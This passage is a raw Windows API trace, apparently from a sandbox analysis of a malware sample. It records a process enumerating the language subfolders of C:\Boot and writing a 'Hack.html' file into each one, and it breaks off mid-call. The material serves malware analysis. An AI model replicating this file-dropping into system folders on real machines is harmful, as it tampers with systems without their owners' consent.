SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.822] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0065.822] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\", lpFilePart=0x0) returned 0xe [0065.823] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.823] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.823] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.823] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.823] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.824] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.824] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\Hack.html" (normalized: "c:\\boot\\fr-fr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.824] GetFileType (hFile=0x3cc) returned 0x1 [0065.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.824] GetFileType (hFile=0x3cc) returned 0x1 [0065.824] WriteFile (in: hFile=0x3cc, lpBuffer=0x271d948*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x271d948*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.826] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0065.826] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\", lpFilePart=0x0) returned 0xe [0065.826] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.826] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.826] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.826] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.827] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.827] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0065.827] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\", lpFilePart=0x0) returned 0xe [0065.827] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.827] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.827] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.827] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.828] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.828] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.828] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\Hack.html" (normalized: "c:\\boot\\hu-hu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.828] GetFileType (hFile=0x3cc) returned 0x1 [0065.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.828] GetFileType (hFile=0x3cc) returned 0x1 [0065.829] WriteFile (in: hFile=0x3cc, lpBuffer=0x2721014*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2721014*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.830] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0065.830] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\", lpFilePart=0x0) returned 0xe [0065.831] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.832] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.832] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.832] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.832] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.832] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0065.832] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\", lpFilePart=0x0) returned 0xe [0065.833] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.833] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.833] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.833] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.833] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.833] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.833] CreateFileW (lpFileName="C:\\Boot\\it-IT\\Hack.html" (normalized: "c:\\boot\\it-it\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.834] GetFileType (hFile=0x3cc) returned 0x1 [0065.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.834] GetFileType (hFile=0x3cc) returned 0x1 [0065.834] WriteFile (in: hFile=0x3cc, lpBuffer=0x27246e0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x27246e0*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.835] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0065.835] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\", lpFilePart=0x0) returned 0xe [0065.835] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.836] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.836] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.836] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.836] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0065.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\", lpFilePart=0x0) returned 0xe [0065.837] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.837] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.837] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.837] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.837] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.838] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\Hack.html" (normalized: "c:\\boot\\ja-jp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.838] GetFileType (hFile=0x3cc) returned 0x1 [0065.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.838] GetFileType (hFile=0x3cc) returned 0x1 [0065.838] WriteFile (in: hFile=0x3cc, lpBuffer=0x2727dac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2727dac*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.839] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0065.839] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\", lpFilePart=0x0) returned 0xe [0065.839] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.841] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.841] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.841] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.841] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.841] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0065.841] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\", lpFilePart=0x0) returned 0xe [0065.841] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.842] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.842] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.842] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.842] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.842] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.842] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\Hack.html" (normalized: "c:\\boot\\ko-kr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.843] GetFileType (hFile=0x3cc) returned 0x1 [0065.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.843] GetFileType (hFile=0x3cc) returned 0x1 [0065.843] WriteFile (in: hFile=0x3cc, lpBuffer=0x272b478*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x272b478*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.844] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0065.844] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\", lpFilePart=0x0) returned 0xe [0065.844] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.845] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.845] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.845] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.845] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.845] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0065.845] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\", lpFilePart=0x0) returned 0xe [0065.845] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.846] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.846] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.846] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.846] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.846] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.846] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\Hack.html" (normalized: "c:\\boot\\nb-no\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.847] GetFileType (hFile=0x3cc) returned 0x1 [0065.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.847] GetFileType (hFile=0x3cc) returned 0x1 [0065.847] WriteFile (in: hFile=0x3cc, lpBuffer=0x272eb44*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x272eb44*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.848] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0065.848] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\", lpFilePart=0x0) returned 0xe [0065.849] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.850] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.850] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.850] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.850] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.850] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0065.851] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\", lpFilePart=0x0) returned 0xe [0065.851] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.851] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.851] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.851] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.852] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.852] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.852] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\Hack.html" (normalized: "c:\\boot\\nl-nl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.852] GetFileType (hFile=0x3cc) returned 0x1 [0065.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.852] GetFileType (hFile=0x3cc) returned 0x1 [0065.853] WriteFile (in: hFile=0x3cc, lpBuffer=0x2732210*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2732210*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.854] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0065.854] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\", lpFilePart=0x0) returned 0xe [0065.854] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.855] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.855] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.855] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.855] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.855] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0065.856] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\", lpFilePart=0x0) returned 0xe [0065.856] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.856] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.856] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.856] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.856] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.857] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, 